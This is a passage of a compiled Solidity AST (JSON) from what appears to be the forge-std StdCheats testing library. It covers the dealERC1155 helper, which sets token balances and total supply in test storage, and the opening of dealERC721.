16635278"}],"expression":{"arguments":[{"id":6010,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5974,"src":"28517:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":6007,"name":"stdstore","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5546,"src":"28501:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage","typeString":"struct StdStorage storage ref"}},"id":6009,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"28510:6:3","memberName":"target","nodeType":"MemberAccess","referencedDeclaration":8861,"src":"28501:15:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":6011,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28501:22:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6012,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"28524:3:3","memberName":"sig","nodeType":"MemberAccess","referencedDeclaration":8879,"src":"28501:26:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes4_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bytes4) returns (struct StdStorage storage pointer)"}},"id":6014,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28501:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6015,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"28540:8:3","memberName":"with_key","nodeType":"MemberAccess","referencedDeclaration":8915,"src":"28501:47:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":6017,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28501:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6018,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"28553:8:3","memberName":"with_key","nodeType":"MemberAccess","referencedDeclaration":8933,"src":"28501:60:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_uint256_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,uint256) returns (struct StdStorage storage pointer)"}},"id":6020,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28501:64:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6021,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"28566:13:3","memberName":"checked_write","nodeType":"MemberAccess","referencedDeclaration":9055,"src":"28501:78:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_uint256_$returns$__$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,uint256)"}},"id":6023,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28501:84:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6024,"nodeType":"ExpressionStatement","src":"28501:84:3"},{"condition":{"id":6025,"name":"adjust","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5982,"src":"28631:6:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":6091,"nodeType":"IfStatement","src":"28627:611:3","trueBody":{"id":6090,"nodeType":"Block","src":"28639:599:3","statements":[{"assignments":[null,6027],"declarations":[null,{"constant":false,"id":6027,"mutability":"mutable","name":"totSupData","nameLocation":"28669:10:3","nodeType":"VariableDeclaration","scope":6090,"src":"28656:23:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6026,"name":"bytes","nodeType":"ElementaryTypeName","src":"28656:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":6036,"initialValue":{"arguments":[{"arguments":[{"hexValue":"30786264383562303339","id":6032,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"28723:10:3","typeDescriptions":{"typeIdentifier":"t_rational_3179655225_by_1","typeString":"int_const 3179655225"},"value":"0xbd85b039"},{"id":6033,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5978,"src":"28735:2:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_3179655225_by_1","typeString":"int_const 3179655225"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":6030,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"28700:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6031,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"28704:18:3","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"28700:22:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":6034,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28700:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":6028,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5974,"src":"28683:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":6029,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"28689:10:3","memberName":"staticcall","nodeType":"MemberAccess","src":"28683:16:3","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":6035,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28683:56:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"28653:86:3"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":6041,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":6038,"name":"totSupData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6027,"src":"28778:10:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":6039,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"28789:6:3","memberName":"length","nodeType":"MemberAccess","src":"28778:17:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"hexValue":"30","id":6040,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"28799:1:3","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"28778:22:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"537464436865617473206465616c28616464726573732c616464726573732c75696e742c75696e742c626f6f6c293a2074617267657420636f6e7472616374206973206e6f742045524331313535537570706c792e","id":6042,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"28818:87:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_cbb83c7e91c85bace1157a2500e6a0534b39a660e193440ca8d86c890bf3fb8c","typeString":"literal_string \"StdCheats deal(address,address,uint,uint,bool): target contract is not ERC1155Supply.\""},"value":"StdCheats deal(address,address,uint,uint,bool): target contract is not ERC1155Supply."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_cbb83c7e91c85bace1157a2500e6a0534b39a660e193440ca8d86c890bf3fb8c","typeString":"literal_string \"StdCheats deal(address,address,uint,uint,bool): target contract is not ERC1155Supply.\""}],"id":6037,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"28753:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":6043,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28753:166:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6044,"nodeType":"ExpressionStatement","src":"28753:166:3"},{"assignments":[6046],"declarations":[{"constant":false,"id":6046,"mutability":"mutable","name":"totSup","nameLocation":"28941:6:3","nodeType":"VariableDeclaration","scope":6090,"src":"28933:14:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":6045,"name":"uint256","nodeType":"ElementaryTypeName","src":"28933:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":6054,"initialValue":{"arguments":[{"id":6049,"name":"totSupData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6027,"src":"28961:10:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":6051,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"28974:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":6050,"name":"uint256","nodeType":"ElementaryTypeName","src":"28974:7:3","typeDescriptions":{}}}],"id":6052,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"28973:9:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}],"expression":{"id":6047,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"28950:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6048,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"28954:6:3","memberName":"decode","nodeType":"MemberAccess","src":"28950:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":6053,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"28950:33:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"28933:50:3"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":6057,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":6055,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5980,"src":"29001:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"id":6056,"name":"prevBal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5998,"src":"29008:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"29001:14:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":6073,"nodeType":"Block","src":"29082:59:3","statements":[{"expression":{"id":6071,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":6066,"name":"totSup","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6046,"src":"29100:6:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"+=","rightHandSide":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":6069,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":6067,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5980,"src":"29111:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":6068,"name":"prevBal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5998,"src":"29118:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"29111:14:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":6070,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"29110:16:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"29100:26:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":6072,"nodeType":"ExpressionStatement","src":"29100:26:3"}]},"id":6074,"nodeType":"IfStatement","src":"28997:144:3","trueBody":{"id":6065,"nodeType":"Block","src":"29017:59:3","statements":[{"expression":{"id":6063,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":6058,"name":"totSup","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6046,"src":"29035:6:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"-=","rightHandSide":{"components":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":6061,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":6059,"name":"prevBal","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5998,"src":"29046:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":6060,"name":"give","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5980,"src":"29056:4:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"29046:14:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":6062,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"29045:16:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"29035:26:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":6064,"nodeType":"ExpressionStatement","src":"29035:26:3"}]}},{"expression":{"arguments":[{"id":6087,"name":"totSup","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6046,"src":"29220:6:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"id":6084,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5978,"src":"29202:2:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"arguments":[{"hexValue":"30786264383562303339","id":6081,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"29181:10:3","typeDescriptions":{"typeIdentifier":"t_rational_3179655225_by_1","typeString":"int_const 3179655225"},"value":"0xbd85b039"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_3179655225_by_1","typeString":"int_const 3179655225"}],"expression":{"arguments":[{"id":6078,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5974,"src":"29170:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":6075,"name":"stdstore","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5546,"src":"29154:8:3","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage","typeString":"struct StdStorage storage ref"}},"id":6077,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"29163:6:3","memberName":"target","nodeType":"MemberAccess","referencedDeclaration":8861,"src":"29154:15:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_address_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,address) returns (struct StdStorage storage pointer)"}},"id":6079,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29154:22:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6080,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"29177:3:3","memberName":"sig","nodeType":"MemberAccess","referencedDeclaration":8879,"src":"29154:26:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes4_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bytes4) returns (struct StdStorage storage pointer)"}},"id":6082,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29154:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6083,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"29193:8:3","memberName":"with_key","nodeType":"MemberAccess","referencedDeclaration":8933,"src":"29154:47:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_uint256_$returns$_t_struct$_StdStorage_$7427_storage_ptr_$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,uint256) returns (struct StdStorage storage pointer)"}},"id":6085,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29154:51:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":6086,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"29206:13:3","memberName":"checked_write","nodeType":"MemberAccess","referencedDeclaration":9055,"src":"29154:65:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_uint256_$returns$__$attached_to$_t_struct$_StdStorage_$7427_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,uint256)"}},"id":6088,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29154:73:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":6089,"nodeType":"ExpressionStatement","src":"29154:73:3"}]}}]},"implemented":true,"kind":"function","modifiers":[],"name":"dealERC1155","nameLocation":"28183:11:3","parameters":{"id":5983,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5974,"mutability":"mutable","name":"token","nameLocation":"28203:5:3","nodeType":"VariableDeclaration","scope":6093,"src":"28195:13:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5973,"name":"address","nodeType":"ElementaryTypeName","src":"28195:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5976,"mutability":"mutable","name":"to","nameLocation":"28218:2:3","nodeType":"VariableDeclaration","scope":6093,"src":"28210:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5975,"name":"address","nodeType":"ElementaryTypeName","src":"28210:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5978,"mutability":"mutable","name":"id","nameLocation":"28230:2:3","nodeType":"VariableDeclaration","scope":6093,"src":"28222:10:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5977,"name":"uint256","nodeType":"ElementaryTypeName","src":"28222:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":5980,"mutability":"mutable","name":"give","nameLocation":"28242:4:3","nodeType":"VariableDeclaration","scope":6093,"src":"28234:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5979,"name":"uint256","nodeType":"ElementaryTypeName","src":"28234:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":5982,"mutability":"mutable","name":"adjust","nameLocation":"28253:6:3","nodeType":"VariableDeclaration","scope":6093,"src":"28248:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":5981,"name":"bool","nodeType":"ElementaryTypeName","src":"28248:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"28194:66:3"},"returnParameters":{"id":5984,"nodeType":"ParameterList","parameters":[],"src":"28278:0:3"},"scope":6330,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":6222,"nodeType":"FunctionDefinition","src":"29250:1139:3","nodes":[],"body":{"id":6221,"nodeType":"Block","src":"29326:1063:3","nodes":[],"statements":[{"assignments":[6103,6105],"declarations":[{"constant":false,"id":6103,"mutability":"mutable","name":"successMinted","nameLocation":"29411:13:3","nodeType":"VariableDeclaration","scope":6221,"src":"29406:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":6102,"name":"bool","nodeType":"ElementaryTypeName","src":"29406:4:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":6105,"mutability":"mutable","name":"ownerData","nameLocation":"29439:9:3","nodeType":"VariableDeclaration","scope":6221,"src":"29426:22:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":6104,"name":"bytes","nodeType":"ElementaryTypeName","src":"29426:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":6114,"initialValue":{"arguments":[{"arguments":[{"hexValue":"30783633353232313165","id":6110,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"29492:10:3","typeDescriptions":{"typeIdentifier":"t_rational_1666326814_by_1","typeString":"int_const 1666326814"},"value":"0x6352211e"},{"id":6111,"name":"id","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6099,"src":"29504:2:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1666326814_by_1","typeString":"int_const 1666326814"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":6108,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"29469:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":6109,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"29473:18:3","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"29469:22:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":6112,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29469:38:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":6106,"name":"token","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6095,"src":"29452:5:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":6107,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"29458:10:3","memberName":"staticcall","nodeType":"MemberAccess","src":"29452:16:3","typeDescriptions":{"typeIdentifier":"t_function_barestaticcall_view$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) view returns (bool,bytes memory)"}},"id":6113,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"29452:56:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"nodeType":"VariableDeclarationStatement","src":"29405:103:3"},{"expression":{"arguments":[{"id":6116,"name":"successMinted","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":6103,"src":"29526:13:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"537464436865617473206465616c28616464726573732c616464726573732c75696e742c626f6f6c293a206964206e6f74206d696e7465642e","id":6117,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"29541:59:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_e9f524ccbde1b7d94051482eee863c075921757bac915f984f010837545a169e","typeString":"literal_string \"StdCheats deal(address,address,uint,bool): id not minted.\""},"value":"StdCheats deal(address,address,uint,bool): id not minted."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_e9f524ccbde1b7d94051482eee863c075921757bac915f984f010837545a169e","typeString":"literal_string \"StdCheats deal(address,address,uint,bool): id not minted.\""}],"id":6115,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"29518:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) 